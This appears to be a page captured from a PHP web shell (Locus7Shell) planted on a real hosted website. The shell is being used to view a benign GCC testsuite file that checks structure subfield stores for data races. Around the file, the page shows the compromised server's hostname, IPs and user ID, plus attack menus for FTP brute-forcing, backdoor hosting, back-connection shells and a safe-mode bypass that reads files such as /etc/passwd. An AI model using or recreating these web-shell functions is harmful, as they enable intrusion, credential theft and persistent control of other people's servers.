Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/simulate-thread/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     subfields.c (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do link } */
/* { dg-final { simulate-thread } } */

#include <stdio.h>
#include "simulate-thread.h"

/* This test verifies that data races aren't introduced by structure subfield 
   stores. */

struct test_struct {
  char a;
  char b;
  char c;
  char d;
} var = {0,0,0,0};


/* This routine sets field a to 'x'.  If executed properly, it will
   not affect any of the other fields in the structure.  An improper
   implementation may load an entire word, change the 8 bits for field
   'a' and write the entire word back out. */
__attribute__((noinline))
void set_a(char x)
{
  var.a = x;
}

static int global = 0;

/* The other thread increments the value of each of the other fields
   in the structure every cycle.  If the store to the 'a' field does
   an incorrect full or partial word load, mask and store, it will
   write back an incorrect value to one or more of the other
   fields.  */
void simulate_thread_other_threads() 
{
  global++;
  var.b = global;
  var.c = global;
  var.d = global;
}


/* Make sure that none of the other fields have been changed.  */
int simulate_thread_step_verify()
{
  int ret = 0;
  if (var.b != global)
    {
      printf("FAIL: Unexpected value. var.b is %d, should be %d\n",
         var.b, global);
      ret = 1;
    }
  if (var.c != global)
    {
      printf("FAIL: Unexpected value. var.c is %d, should be %d\n",
         var.c, global);
      ret = 1;
    }
  if (var.d != global)
    {
      printf("FAIL: Unexpected value. var.d is %d, should be %d\n",
         var.d, global);
      ret = 1;
    }
  return ret;
}

/* Verify that every variable has the correct value.  */
int simulate_thread_final_verify()
{
  int ret = simulate_thread_step_verify();
  if (var.a != 1)
    {
      printf("FAIL: Unexpected value. var.a is %d, should be %d\n", var.a, 1);
      ret = 1;
    }
  return ret;
}

__attribute__((noinline))
void simulate_thread_main()
{
  set_a(1);
}

int main ()
{
  simulate_thread_main();
  simulate_thread_done();
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--